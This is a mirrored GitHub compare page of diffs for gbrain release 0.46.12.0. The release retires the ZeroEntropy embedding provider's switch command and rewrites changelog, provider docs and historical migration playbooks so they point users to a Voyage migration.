mirror of
https://github.com/garrytan/gbrain.git
synced 2026-08-17 10:22:34 +00:00
Compare commits
12
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1a33147ea4 | ||
|
|
03178624c5 | ||
|
|
bd76787953 | ||
|
|
1c04a1dfb0 | ||
|
|
5ddc74a2c4 | ||
|
|
4aaa974d35 | ||
|
|
b2bf39e5c2 | ||
|
|
f8b4aca1c1 | ||
|
|
43fcd70d44 | ||
|
|
19af84ea6a | ||
|
|
7f826a5f00 | ||
|
|
ed8f716bb7 |
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "gbrain",
|
||||
"version": "0.46.11.0",
|
||||
"version": "0.46.12.0",
|
||||
"description": "Personal knowledge brain for your coding agent — hybrid search, synthesis, graph traversal, and durable cross-session memory over Postgres/PGLite with pgvector, plus a curated brain-first skill set.",
|
||||
"author": {
|
||||
"name": "Garry Tan",
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "gbrain",
|
||||
"version": "0.46.11.0",
|
||||
"version": "0.46.12.0",
|
||||
"description": "Personal knowledge brain for your coding agent — hybrid search, synthesis, graph traversal, and durable cross-session memory over Postgres/PGLite with pgvector, plus a curated brain-first skill set.",
|
||||
"author": {
|
||||
"name": "Garry Tan",
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
<!-- gbrain-runbook-stamp: 0.46.11.0 -->
|
||||
<!-- gbrain-runbook-stamp: 0.46.12.0 -->
|
||||
<!-- This stamp must equal the VERSION file at every release; CI enforces it
|
||||
(scripts/check-bootstrap-tag.sh). `gbrain bootstrap status` compares it to
|
||||
the installed binary and warns on skew. -->
|
||||
|
||||
@@ -2,6 +2,93 @@
|
||||
|
||||
All notable changes to GBrain will be documented in this file.
|
||||
|
||||
## [0.46.12.0] - 2026-08-16
|
||||
|
||||
**Every surface that could still steer you toward the retiring embedding
|
||||
provider now tells the truth.** The provider's hosted API ends 2026-09-04;
|
||||
v0.46.3.0 stopped the CLI from *acting* on a switch, but the discovery
|
||||
surfaces — help text, provider setup output, doctor hints, historical agent
|
||||
playbooks — still read like a recommendation. A downstream agent reading that
|
||||
copy recommended switching a brain ONTO the dying provider; this release makes
|
||||
that impossible.
|
||||
|
||||
### Changed
|
||||
|
||||
- **`gbrain ze-switch` is now a pure refusal/redirect shim.** `--help` leads
|
||||
with RETIRED, the sunset date, and the one maintained off-ramp
|
||||
(`gbrain migrate embeddings --to voyage:voyage-4 --dim 1024`), and it now
|
||||
actually reaches you through the compiled binary (the generic help
|
||||
short-circuit used to hide the command's own help entirely). Every
|
||||
invocation refuses or redirects with exit 1; retired flags (`--resume`,
|
||||
`--non-interactive`, `--force`, …) are still accepted so old scripts get
|
||||
the refusal message instead of an unknown-flag error — even on a machine
|
||||
with no brain configured.
|
||||
- **Two scripted contracts changed deliberately:** `ze-switch --undo` no
|
||||
longer acts — it prints the exact `gbrain migrate embeddings` command that
|
||||
returns the brain to its pre-switch provider (the retired action wrote
|
||||
config the runtime never read and emptied vectors with no verified
|
||||
re-embed); and `ze-switch --dry-run --json` now returns
|
||||
`{status:'refused', reason:'provider_sunset'}` with exit 1 instead of a
|
||||
machine-readable plan targeting the dying provider (`status:'planned'`,
|
||||
exit 0). JSON envelopes carry both `…_preview` (cost preview) and live
|
||||
command fields, and every command those envelopes render preserves an
|
||||
explicit `--brain` selector so multi-brain setups are never pointed at the
|
||||
wrong database (the engine-free `--help` text shows the generic command).
|
||||
- **`gbrain providers env <sunsetting-provider>` replaces the signup funnel**
|
||||
(dashboard URL + get-a-key hint) with the deprecation notice, replacement
|
||||
models, and the migration command — key STATUS still renders for existing
|
||||
users. `providers explain` marks sunsetting rows with ⚠ instead of a green
|
||||
ready-check. Both render through one shared marker so the surfaces can't
|
||||
drift, and the behavior is generic: any future provider sunset inherits it.
|
||||
- **`gbrain doctor`'s missing-key hint is migration-first** on a sunsetting
|
||||
provider: the fix is the off-ramp; the key path survives as a secondary
|
||||
note for the remaining hosted window.
|
||||
- **Historical migration playbooks can no longer be followed past their
|
||||
banners.** The two switch-era skill files now open with "Do not execute
|
||||
any command in this file", their imperative recommendations are rewritten
|
||||
as past-tense record, and their frontmatter pitches are marked HISTORICAL.
|
||||
Provider docs drop the price-comparison sell copy and retitle setup as
|
||||
"existing brains and self-hosters only — do not onboard".
|
||||
|
||||
### Fixed
|
||||
|
||||
- The undo guidance is exact: a snapshot with reranking disabled but a model
|
||||
id still set now yields `--reranker off` (the old precedence would have
|
||||
re-enabled a reranker the pre-switch brain had off); nested model ids
|
||||
(`ollama:model:tag`, `openrouter:org/model`) validate correctly; snapshot
|
||||
fields are shape-checked before they land in a command you're told to run;
|
||||
a failed `--undo` never points back at `--undo`; and the three undo
|
||||
failure states (missing / invalid / unreadable snapshot) each report
|
||||
truthfully instead of claiming no switch was recorded.
|
||||
|
||||
### Removed
|
||||
|
||||
- The retired interactive switch banner and its benchmark pitch ("switch to
|
||||
the new provider — RECOMMENDED") no longer ship in the binary; the module
|
||||
that carried them is deleted ahead of the September removal.
|
||||
|
||||
### To take advantage of v0.46.12.0
|
||||
|
||||
`gbrain upgrade` is enough — no schema migration.
|
||||
|
||||
1. **Upgrade:**
|
||||
```bash
|
||||
gbrain upgrade
|
||||
```
|
||||
2. **If your brain still embeds or reranks through the retiring provider**,
|
||||
run the off-ramp before 2026-09-04 (cost preview first):
|
||||
```bash
|
||||
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run
|
||||
gbrain migrate embeddings --to voyage:voyage-4 --dim 1024
|
||||
```
|
||||
Your agent can follow `skills/migrations/v0.46.3.0.md` end to end.
|
||||
3. **Things to watch:** scripts that parsed `ze-switch --dry-run --json`'s
|
||||
old `planned` envelope or relied on `ze-switch --undo` acting in place
|
||||
must switch to `gbrain migrate embeddings` (the printed guidance names
|
||||
the exact command, including your `--brain` selector). If anything looks
|
||||
wrong, file an issue with `gbrain doctor` output:
|
||||
https://github.com/garrytan/gbrain/issues
|
||||
|
||||
## [0.46.11.0] - 2026-08-16
|
||||
|
||||
**Five operational failures from live production brains, fixed at the root.**
|
||||
|
||||
@@ -220,12 +220,19 @@ Staged-deletion discipline (ship replacements → migrate call sites → update
|
||||
registry entries (recipes/index.ts); `zeroEntropyCompatFetch`,
|
||||
`MAX_ZEROENTROPY_RESPONSE_BYTES`, `ZeroEntropyResponseTooLargeError` + the
|
||||
fetch-ternary arm (gateway.ts); ZE sets in dims.ts; `ze-switch.ts` +
|
||||
`retrieval-upgrade-planner.ts` + `retrieval-upgrade-prompt.ts` (~1200 lines) +
|
||||
cli.ts dispatch/CLI_ONLY/flag-registry rows; `checkZeEmbeddingHealth` in doctor
|
||||
`retrieval-upgrade-planner.ts` + cli.ts dispatch/CLI_ONLY/CLI_ONLY_SELF_HELP/
|
||||
SELF_HELP_WITHOUT_ENGINE/flag-registry rows; `checkZeEmbeddingHealth` in doctor
|
||||
(`provider_sunset` STAYS and goes generic — read `recipe.sunset` instead of the
|
||||
hardcoded ZE constants); pricing rows LAST (budget-tracker rerank metering reads
|
||||
them for historical audit rows). NOTE: test/ai/zeroentropy-compat-fetch.test.ts
|
||||
greps gateway.ts SOURCE TEXT — delete the test with the code, in the same commit.
|
||||
ALREADY DONE by the interim ZE cleanup wave (pre-Sept): `retrieval-upgrade-prompt.ts`
|
||||
deleted (banner/marketing copy gone); `ze-switch.ts` is now a ~170-line pure
|
||||
refusal/redirect shim (undo/dry-run ACTIONS retired — apply/undo wrote DB-plane
|
||||
config the file-plane-canonical runtime never read); `providers env`/`explain` are
|
||||
sunset-aware via the shared `sunsetMarker` in providers.ts (generic on
|
||||
`recipe.sunset` — the removal wave inherits it); `ze_embedding_health`'s missing-key
|
||||
copy is migration-first (the check itself still gets deleted here).
|
||||
- [ ] **P1 — Self-host continuity decision.** The v0.46.3 playbook's zero-re-embed
|
||||
path keeps the `zeroentropyai:zembed-1` id behind a base-URL override to a
|
||||
ZE-wire-compatible endpoint. Recipe deletion breaks it. Decide: keep a minimal
|
||||
@@ -235,11 +242,14 @@ Staged-deletion discipline (ship replacements → migrate call sites → update
|
||||
playbook (skills/migrations/v0.46.3.0.md) links here — honor it.
|
||||
- [ ] **P2 — Tests + CI.** Delete the 8 ZE-dedicated test files
|
||||
(zeroentropy-recipe, zeroentropy-compat-fetch, dims-zeroentropy,
|
||||
e2e/zeroentropy-live, ze-switch-cli, ze-switch-env-override, doctor-ze-checks,
|
||||
provider-sunset-doctor.serial gets REWRITTEN generic not deleted) + update ~40
|
||||
coupled files; drop the zeroentropy-live job + ZEROENTROPY_API_KEY secret from
|
||||
.github/workflows/e2e.yml:168,179 (already date-skip-gated since v0.46.3);
|
||||
scripts/test-weights.json rows.
|
||||
e2e/zeroentropy-live, ze-switch-cli [now pins the shim contract — dies with the
|
||||
shim], ze-switch-env-override [pins the planner's test-only functions],
|
||||
doctor-ze-checks, provider-sunset-doctor.serial gets REWRITTEN generic not
|
||||
deleted) + update ~40 coupled files; drop the zeroentropy-live job +
|
||||
ZEROENTROPY_API_KEY secret from .github/workflows/e2e.yml:239,250,377 (line refs
|
||||
refreshed by the interim cleanup wave; already date-skip-gated since v0.46.3);
|
||||
scripts/test-weights.json rows. Also remove 'ze-switch' from the
|
||||
cli-help-without-brain HELP_WITHOUT_BRAIN list when the shim dies.
|
||||
- [ ] **P2 — Config + docs.** `zeroentropy_api_key` config key: keep
|
||||
parseable-but-warned (removing it would make old config.json files fail to
|
||||
load); delete docs/ai-providers/zeroentropy.md + its scripts/llms-config.ts
|
||||
|
||||
@@ -6,10 +6,13 @@
|
||||
> recipe: `gbrain init` auto-pick and the interactive picker exclude it
|
||||
> (explicit `--embedding-model zeroentropyai:*` still works, with a loud
|
||||
> warning), every ZE embed/rerank call prints a once-per-process
|
||||
> deprecation warning, `gbrain providers` annotates it DEPRECATED, and
|
||||
> `gbrain ze-switch` refuses to switch a brain ONTO ZeroEntropy (`--undo`
|
||||
> and `--dry-run` still work). The September release removes the recipe
|
||||
> entirely. A brain still embedding through the hosted API loses semantic
|
||||
> deprecation warning, `gbrain providers` annotates it DEPRECATED
|
||||
> (`gbrain providers env zeroentropyai` prints this off-ramp instead of a
|
||||
> signup link), and
|
||||
> `gbrain ze-switch` is a pure refusal/redirect shim (every invocation
|
||||
> refuses or redirects; `--undo` prints the exact migrate command that
|
||||
> returns a switched brain to its prior provider — it no longer acts).
|
||||
> The September release removes the recipe entirely. A brain still embedding through the hosted API loses semantic
|
||||
> retrieval entirely on the shutdown date: query embedding uses the same
|
||||
> endpoint, so **existing vectors become unqueryable**, not just new
|
||||
> content. Two fixes, either works:
|
||||
@@ -42,28 +45,29 @@
|
||||
>
|
||||
> The hosted setup below remains accurate until the shutdown date.
|
||||
|
||||
[ZeroEntropy](https://zeroentropy.dev) ships two specialized small models
|
||||
for retrieval pipelines:
|
||||
[ZeroEntropy](https://zeroentropy.dev) shipped two specialized small
|
||||
models for retrieval pipelines (factual specs kept for existing users and
|
||||
self-hosters — this is not a recommendation):
|
||||
|
||||
- **`zembed-1`** — multilingual embedding distilled from zerank-2.
|
||||
Flexible Matryoshka dims (2560/1280/640/320/160/80/40), 32K context,
|
||||
asymmetric `input_type: query|document` encoding. $0.025/1M tokens
|
||||
(sale) / $0.05 regular.
|
||||
- **`zerank-2`** — SOTA multilingual cross-encoder reranker.
|
||||
$0.025/1M tokens (~50% cheaper than Cohere/Voyage rerankers).
|
||||
Plus `zerank-1` and `zerank-1-small` for legacy / open-source needs.
|
||||
asymmetric `input_type: query|document` encoding.
|
||||
- **`zerank-2`** — multilingual cross-encoder reranker. Plus `zerank-1`
|
||||
and `zerank-1-small` (open-source weights).
|
||||
|
||||
Both land in gbrain v0.35.0.0 behind the openai-compatible recipe path,
|
||||
Both landed in gbrain v0.35.0.0 behind the openai-compatible recipe path,
|
||||
alongside OpenAI and Voyage.
|
||||
|
||||
## Setup
|
||||
## Setup (existing brains and self-hosters only — do not onboard)
|
||||
|
||||
1. Get an API key at
|
||||
[dashboard.zeroentropy.dev](https://dashboard.zeroentropy.dev).
|
||||
2. Export it:
|
||||
```bash
|
||||
export ZEROENTROPY_API_KEY=<your-key>
|
||||
```
|
||||
New installs use Voyage (`gbrain init` handles it); do not create a new
|
||||
ZeroEntropy account for a provider that shuts down on 2026-09-04. A brain
|
||||
that already has a key exports it as before for the remaining hosted
|
||||
window:
|
||||
|
||||
```bash
|
||||
export ZEROENTROPY_API_KEY=<your-existing-key>
|
||||
```
|
||||
|
||||
## Leaving ZeroEntropy (the off-ramp)
|
||||
|
||||
@@ -124,19 +128,12 @@ the key, every rerank call fails-open (audit-logged) and search returns
|
||||
RRF order — same UX as before, just with an observable failure surfaced
|
||||
via `gbrain doctor`.
|
||||
|
||||
### Opt-in on `conservative` mode
|
||||
### Enabling reranking today
|
||||
|
||||
```bash
|
||||
gbrain config set search.reranker.enabled true
|
||||
```
|
||||
|
||||
The override sits above the mode-bundle default; opt-out is one flip.
|
||||
|
||||
### Cost anchor
|
||||
|
||||
At 30 candidates × ~400 tokens/chunk × $0.025/1M = **~$0.0003/query**.
|
||||
Rounding error against the `tokenmax + Opus` pairing's ~$700/mo at
|
||||
single-user volume per the CLAUDE.md cost matrix.
|
||||
Set the surviving reranker FIRST, then enable — enabling on a brain that
|
||||
never set `search.reranker.model` falls back to the dying `zerank-2`:
|
||||
`gbrain config set search.reranker.model voyage:rerank-2.5`, then
|
||||
`gbrain config set search.reranker.enabled true`.
|
||||
|
||||
### Verify
|
||||
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -221,15 +221,19 @@ Wire the harness to drive 3 embedding providers via the newly-exposed gbrain gat
|
||||
```
|
||||
|
||||
### Smoke verification (run manually before opening PR)
|
||||
|
||||
> (Historical: the two `zeroentropyai:` commands below stop passing after
|
||||
> 2026-09-04 — do not run them. Only the non-ZE smokes remain runnable.)
|
||||
|
||||
```bash
|
||||
bun run eval:smoke -- --embedder openai:text-embedding-3-large --dim 1536
|
||||
bun run eval:smoke -- --embedder voyage:voyage-4-large --dim 2048
|
||||
bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560
|
||||
bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560 --reranker zeroentropyai:zerank-2
|
||||
bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560 # historical
|
||||
bun run eval:smoke -- --embedder zeroentropyai:zembed-1 --dim 2560 --reranker zeroentropyai:zerank-2 # historical
|
||||
```
|
||||
|
||||
All four MUST exit 0. Reports should print the observed vector dim, matching the
|
||||
configured dim.
|
||||
The two non-ZE smokes MUST exit 0 (the ZE pair did at the time). Reports
|
||||
should print the observed vector dim, matching the configured dim.
|
||||
|
||||
### Open PR β
|
||||
```bash
|
||||
|
||||
@@ -123,8 +123,8 @@ ingestion — not just new content.
|
||||
census, the un-merged file plane), so a pre-set env var cannot fake a
|
||||
completed migration.
|
||||
5. **Apply.** When the target width differs from the actual column width,
|
||||
runs the same atomic schema transition `ze-switch` uses, in one
|
||||
transaction. It rebuilds **all three dim-pinned text-embedding-space
|
||||
runs the atomic schema transition owned by `embedding-migration.ts`
|
||||
(the survivor module), in one transaction. It rebuilds **all three dim-pinned text-embedding-space
|
||||
columns** — `content_chunks.embedding`, `query_cache.embedding`, and
|
||||
`facts.embedding` — at the new width, preserving each column's type
|
||||
(`vector` vs `halfvec`) and recreating its HNSW index. Missing any of the
|
||||
|
||||
@@ -42,7 +42,7 @@ The resolved provider + dimensions get persisted to `~/.gbrain/config.json` atom
|
||||
|
||||
**Note on local providers.** Ollama and llama-server have no required API key, so they don't show up in env-detection auto-pick. Pick them explicitly with `--embedding-model ollama:<model>` to avoid silently routing to a daemon that may not be running.
|
||||
|
||||
**Note on the ZeroEntropy hosted API.** ZeroEntropy announced (2026-07-24) that its hosted endpoints shut down on **2026-09-04**, and the recipe is deprecated: init auto-pick and the interactive picker exclude it (explicit `--embedding-model zeroentropyai:*` still works, with a loud warning), every ZE embed/rerank call prints a once-per-process deprecation warning, and `gbrain providers` annotates it DEPRECATED. A brain still embedding through the hosted API loses semantic retrieval entirely on that date — query embedding uses the same endpoint, so existing vectors become unqueryable, not just new content. The off-ramp: `gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run` (cost preview), then `--yes`. 1280 is not a valid Voyage width (valid: 256/512/1024/2048), so a 1280d brain gets a one-time schema/HNSW rebuild to 1024; the OpenAI alternative keeps the width (flexible dims): `--to openai:text-embedding-3-small --dim 1280`. See [the migration guide](../guides/embedding-migration.md). Self-hosting the Apache-2.0 zembed-1 weights keeps every existing vector with zero re-embed, but the endpoint must speak ZeroEntropy's wire dialect — a generic OpenAI-compatible llama-server/Ollama will NOT work without a compat proxy (details in [`docs/ai-providers/zeroentropy.md`](../ai-providers/zeroentropy.md)). `gbrain doctor` (check `provider_sunset`) flags affected brains — including ZE-backed custom embedding columns — and prints target-aware paste-ready commands (Voyage at 1024; OpenAI keep-width when the brain's actual width is valid there); accepted the risk? `gbrain config set doctor.suppress_provider_sunset true` silences it.
|
||||
**Note on the ZeroEntropy hosted API.** ZeroEntropy announced (2026-07-24) that its hosted endpoints shut down on **2026-09-04**, and the recipe is deprecated: init auto-pick and the interactive picker exclude it (explicit `--embedding-model zeroentropyai:*` still works, with a loud warning), every ZE embed/rerank call prints a once-per-process deprecation warning, and `gbrain providers` annotates it DEPRECATED (`providers env zeroentropyai` prints the deprecation notice + migration command instead of the signup funnel, `providers explain` leads the row with ⚠ regardless of key readiness, and `gbrain doctor`'s ZE missing-key hint is migration-first). A brain still embedding through the hosted API loses semantic retrieval entirely on that date — query embedding uses the same endpoint, so existing vectors become unqueryable, not just new content. The off-ramp: `gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run` (cost preview), then `--yes`. 1280 is not a valid Voyage width (valid: 256/512/1024/2048), so a 1280d brain gets a one-time schema/HNSW rebuild to 1024; the OpenAI alternative keeps the width (flexible dims): `--to openai:text-embedding-3-small --dim 1280`. See [the migration guide](../guides/embedding-migration.md). Self-hosting the Apache-2.0 zembed-1 weights keeps every existing vector with zero re-embed, but the endpoint must speak ZeroEntropy's wire dialect — a generic OpenAI-compatible llama-server/Ollama will NOT work without a compat proxy (details in [`docs/ai-providers/zeroentropy.md`](../ai-providers/zeroentropy.md)). `gbrain doctor` (check `provider_sunset`) flags affected brains — including ZE-backed custom embedding columns — and prints target-aware paste-ready commands (Voyage at 1024; OpenAI keep-width when the brain's actual width is valid there); accepted the risk? `gbrain config set doctor.suppress_provider_sunset true` silences it.
|
||||
|
||||
## If first import fails
|
||||
|
||||
|
||||
@@ -31,7 +31,7 @@ Repo: https://github.com/garrytan/gbrain
|
||||
|
||||
## AI providers
|
||||
|
||||
- [docs/ai-providers/zeroentropy.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/zeroentropy.md): ZeroEntropy zembed-1 embedding + zerank-2 reranker (hosted): API key, embedding switch, reranker config. (deprecated; hosted sunset 2026-09-04)
|
||||
- [docs/ai-providers/zeroentropy.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/zeroentropy.md): ZeroEntropy (deprecated; hosted sunset 2026-09-04): the off-ramp for existing brains — migrate embeddings + reranker, self-host continuity, troubleshooting. Do not onboard.
|
||||
- [docs/ai-providers/llama-server-reranker.md](https://raw.githubusercontent.com/garrytan/gbrain/master/docs/ai-providers/llama-server-reranker.md): Local reranker via llama.cpp --reranking: Qwen3-Reranker or self-hosted ZE weights, --alias setup, gbrain config keys, cold-start timeout, budget-cap interaction.
|
||||
|
||||
## Debugging
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"id": "gbrain-context-engine",
|
||||
"name": "gbrain",
|
||||
"version": "0.46.11.0",
|
||||
"version": "0.46.12.0",
|
||||
"description": "Personal knowledge brain with Postgres + pgvector hybrid search",
|
||||
"family": "bundle-plugin",
|
||||
"configSchema": {
|
||||
|
||||
+1
-1
@@ -168,7 +168,7 @@
|
||||
"bun": ">=1.3.10"
|
||||
},
|
||||
"license": "MIT",
|
||||
"version": "0.46.11.0",
|
||||
"version": "0.46.12.0",
|
||||
"overrides": {
|
||||
"@hono/node-server": "^2.0.5",
|
||||
"fast-uri": "^3.1.5",
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
<!-- gbrain-plugin-tree-stamp: 0.46.11.0 -->
|
||||
<!-- gbrain-plugin-tree-stamp: 0.46.12.0 -->
|
||||
# gbrain plugin skill tree (generated — do not hand-edit)
|
||||
|
||||
This tree is the curated skill set for the gbrain Codex and Claude Code
|
||||
|
||||
@@ -176,7 +176,7 @@ export const SECTIONS: DocSection[] = [
|
||||
{
|
||||
title: "docs/ai-providers/zeroentropy.md",
|
||||
description:
|
||||
"ZeroEntropy zembed-1 embedding + zerank-2 reranker (hosted): API key, embedding switch, reranker config. (deprecated; hosted sunset 2026-09-04)",
|
||||
"ZeroEntropy (deprecated; hosted sunset 2026-09-04): the off-ramp for existing brains — migrate embeddings + reranker, self-host continuity, troubleshooting. Do not onboard.",
|
||||
path: "docs/ai-providers/zeroentropy.md",
|
||||
// Setup walkthrough — discoverable in the index, not inlined in the
|
||||
// single-fetch bundle (keeps llms-full.txt under FULL_SIZE_BUDGET).
|
||||
|
||||
@@ -10,7 +10,7 @@ src/core/pglite-engine.ts 5660 ratchet peel target: containment sprint C15; grow
|
||||
src/core/migrate.ts 668 region-exempt append-only MIGRATIONS array grows freely; runner logic is ratcheted
|
||||
src/commands/sync.ts 4300 ratchet peel target: containment sprint C13-C14; grown v0.46.11.0 five-issue wave
|
||||
src/core/ai/gateway.ts 4117 ratchet watchlist
|
||||
src/cli.ts 3337 ratchet watchlist
|
||||
src/cli.ts 3364 ratchet watchlist
|
||||
src/core/cycle.ts 2933 ratchet
|
||||
src/commands/serve-http.ts 2836 ratchet
|
||||
src/commands/jobs.ts 2950 ratchet grown v0.46.11.0 five-issue wave
|
||||
|
||||
|
@@ -1,17 +1,19 @@
|
||||
---
|
||||
feature_pitch: ZeroEntropy zembed-1 embeddings + zerank-2 cross-encoder reranking
|
||||
feature_pitch: "HISTORICAL: ZeroEntropy zembed-1 embeddings + zerank-2 reranking (provider retired 2026-09-04)"
|
||||
required_action: no # purely opt-in
|
||||
---
|
||||
|
||||
# v0.35.0.0 migration notes
|
||||
|
||||
> **HISTORICAL — DO NOT FOLLOW.** ZeroEntropy's hosted API shuts down
|
||||
> **2026-09-04**; the opt-in instructions below would strand a brain on a dead
|
||||
> provider. To LEAVE ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
|
||||
> **HISTORICAL — DO NOT FOLLOW. Do not execute any command in this file.**
|
||||
> ZeroEntropy's hosted API shuts down **2026-09-04**; the opt-in config
|
||||
> edits and commands below would strand a brain on a dead provider. To
|
||||
> LEAVE ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
|
||||
|
||||
ZeroEntropy support landed. **No required user action.** Reranker is on by
|
||||
default for `tokenmax` mode only; embedding model is unchanged for everyone
|
||||
unless the user explicitly opts in via config file or env var.
|
||||
ZeroEntropy support landed (historical record). **No required user action.**
|
||||
Reranker was on by default for `tokenmax` mode only; the embedding model was
|
||||
unchanged for everyone unless the user explicitly opted in via config file
|
||||
or env var.
|
||||
|
||||
## What changed automatically
|
||||
|
||||
@@ -28,43 +30,23 @@ unless the user explicitly opts in via config file or env var.
|
||||
- `conservative` and `balanced` modes default reranker = false. Nothing
|
||||
changes for those users without an explicit opt-in.
|
||||
|
||||
## What the user can do (optional)
|
||||
## What the user could do at the time (historical — do not run any of this)
|
||||
|
||||
### Try zembed-1 embeddings
|
||||
### The zembed-1 opt-in (era recipe, now a strand-your-brain trap)
|
||||
|
||||
Switching embedding models invalidates the vector index — you'll need to
|
||||
re-embed. Edit `~/.gbrain/config.json`:
|
||||
The era's opt-in was a config-file edit pointing `embedding_model` at
|
||||
`zeroentropyai:zembed-1` (valid Matryoshka dims: 2560, 1280, 640, 320,
|
||||
160, 80, 40), followed by a key export and a staged re-embed
|
||||
(`gbrain models doctor`, a small `--stale` smoke, then the full pass).
|
||||
Running that today points a brain at an API that dies 2026-09-04 — the
|
||||
maintained path is the off-ramp in `skills/migrations/v0.46.3.0.md`.
|
||||
|
||||
```json
|
||||
{
|
||||
"embedding_model": "zeroentropyai:zembed-1",
|
||||
"embedding_dimensions": 2560
|
||||
}
|
||||
```
|
||||
### The zerank-2 opt-in on conservative/balanced (era recipe)
|
||||
|
||||
Valid dims: 2560, 1280, 640, 320, 160, 80, 40 (Matryoshka-style; smaller
|
||||
trades quality for storage). Then:
|
||||
|
||||
```bash
|
||||
export ZEROENTROPY_API_KEY=...
|
||||
gbrain models doctor # verify config
|
||||
gbrain embed --stale --limit 50 # smoke a small re-embed
|
||||
gbrain embed --stale # full re-embed
|
||||
```
|
||||
|
||||
### Try zerank-2 on conservative/balanced
|
||||
|
||||
```bash
|
||||
export ZEROENTROPY_API_KEY=...
|
||||
gbrain config set search.reranker.enabled true
|
||||
gbrain models doctor # verify reranker_config + reachability
|
||||
gbrain query "some query that previously misranked"
|
||||
```
|
||||
|
||||
To opt out:
|
||||
```bash
|
||||
gbrain config set search.reranker.enabled false
|
||||
```
|
||||
The era's opt-in was `search.reranker.enabled true` with a ZE key set,
|
||||
verified via `gbrain models doctor`. Enabling reranking TODAY should set
|
||||
the surviving model first: `gbrain config set search.reranker.model
|
||||
voyage:rerank-2.5`, then enable.
|
||||
|
||||
### Opt out of reranker on tokenmax
|
||||
|
||||
|
||||
@@ -1,45 +1,40 @@
|
||||
---
|
||||
name: v0.36.2.0
|
||||
version: 0.36.2.0
|
||||
headline: ZeroEntropy is the new default for embedding + reranker
|
||||
headline: "HISTORICAL: ZeroEntropy was briefly the default for embedding + reranker"
|
||||
---
|
||||
|
||||
# v0.36.2.0 Migration: ZeroEntropy as default
|
||||
|
||||
> **HISTORICAL — DO NOT FOLLOW.** ZeroEntropy's hosted API shuts down
|
||||
> **2026-09-04** and `gbrain ze-switch` now refuses forward use. To LEAVE
|
||||
> ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
|
||||
> **HISTORICAL — DO NOT FOLLOW. Do not execute any command in this file.**
|
||||
> ZeroEntropy's hosted API shuts down **2026-09-04**; every ze-switch
|
||||
> command below exits 1 with `reason: provider_sunset` today (the command
|
||||
> is a pure refusal/redirect shim), and the benchmark pitch below is
|
||||
> obsolete. To LEAVE ZeroEntropy, follow `skills/migrations/v0.46.3.0.md`.
|
||||
|
||||
**TL;DR:** v0.36.2.0 makes ZeroEntropy (`zembed-1` at 1280d via Matryoshka, `zerank-2` cross-encoder reranker) the default retrieval stack. Real-corpus benchmark says: 2.2× faster than OpenAI, 2.6× cheaper at regular pricing, wins 11/20 head-to-head queries, reranker reshuffles 60% of top-1 results. New installs land on it automatically. Existing brains see a one-shot upgrade prompt with a cost estimate; default-on-Enter is "stay on current provider" so the safe path is the no-action path.
|
||||
**TL;DR (historical record):** v0.36.2.0 made ZeroEntropy (`zembed-1` at 1280d via Matryoshka, `zerank-2` cross-encoder reranker) the default retrieval stack, on the strength of a real-corpus benchmark that has since been overtaken by events — the provider announced its shutdown. New installs landed on it automatically. Existing brains saw a one-shot upgrade prompt with a cost estimate; default-on-Enter was "stay on current provider".
|
||||
|
||||
This migration is **opt-in for existing brains**. Running `gbrain upgrade` does not silently re-embed your data. The prompt is TTY-only; non-TTY upgrades (CI, cron, docker) print an informational stderr line and skip the switch.
|
||||
This migration was **opt-in for existing brains**. Running `gbrain upgrade` did not silently re-embed data. The prompt was TTY-only; non-TTY upgrades (CI, cron, docker) printed an informational stderr line and skipped the switch.
|
||||
|
||||
## What the agent should do post-upgrade
|
||||
## What the agent did post-upgrade (v0.36.2 era — every command here exits 1 today)
|
||||
|
||||
When the user invokes any gbrain command immediately after `gbrain upgrade` to v0.36.2.0:
|
||||
When a user invoked any gbrain command immediately after `gbrain upgrade` to v0.36.2.0, the playbook was:
|
||||
|
||||
1. **Check whether the prompt has been surfaced yet.** `gbrain ze-switch --dry-run --json` shows the planner state including `ze_switch_offered`, `ze_switch_prompt_shown`, and the comparison numbers. If `ze_switch_offered` is true and `ze_switch_prompt_shown` is false, the user hasn't seen the prompt yet.
|
||||
1. The agent checked planner state via `ze-switch --dry-run --json` (`ze_switch_offered`, `ze_switch_prompt_shown`, the comparison numbers).
|
||||
|
||||
2. **Surface the comparison numbers.** Quote the benchmark from the prompt:
|
||||
- Wins 11/20 queries head-to-head (OpenAI 6, Voyage 4)
|
||||
- 442ms avg vs OpenAI 973ms (2.2× faster)
|
||||
- $0.05/M tokens vs OpenAI $0.13 (2.6× cheaper at regular pricing)
|
||||
- zerank-2 reshuffles 60% of top-1 results
|
||||
- Only 10-18% overlap between providers — pairing primary + reranker compounds
|
||||
2. It surfaced the era's benchmark numbers (head-to-head query wins, latency, price, reranker reshuffle rate, provider overlap).
|
||||
|
||||
3. **Recommend switching** unless the user has stated a constraint that makes ZE unsuitable (no internet, regulatory concern with a specific provider, contractual commitment to another stack). When recommending, point them at:
|
||||
```bash
|
||||
gbrain ze-switch # interactive prompt
|
||||
gbrain ze-switch --dry-run # see the plan without applying
|
||||
```
|
||||
3. It recommended switching unless the user had a constraint making ZE unsuitable, pointing at the interactive prompt and the dry-run plan.
|
||||
|
||||
4. **If the user already declined** (`ze_switch_already_declined` true) and they ask about it later, mention `gbrain ze-switch --force` re-opens the prompt. The 90-day decline window auto-resets after that, so a year-later contributor "we have better benchmarks now" data gets surfaced naturally.
|
||||
4. For a prior decline, `--force` re-opened the prompt (90-day re-ask window).
|
||||
|
||||
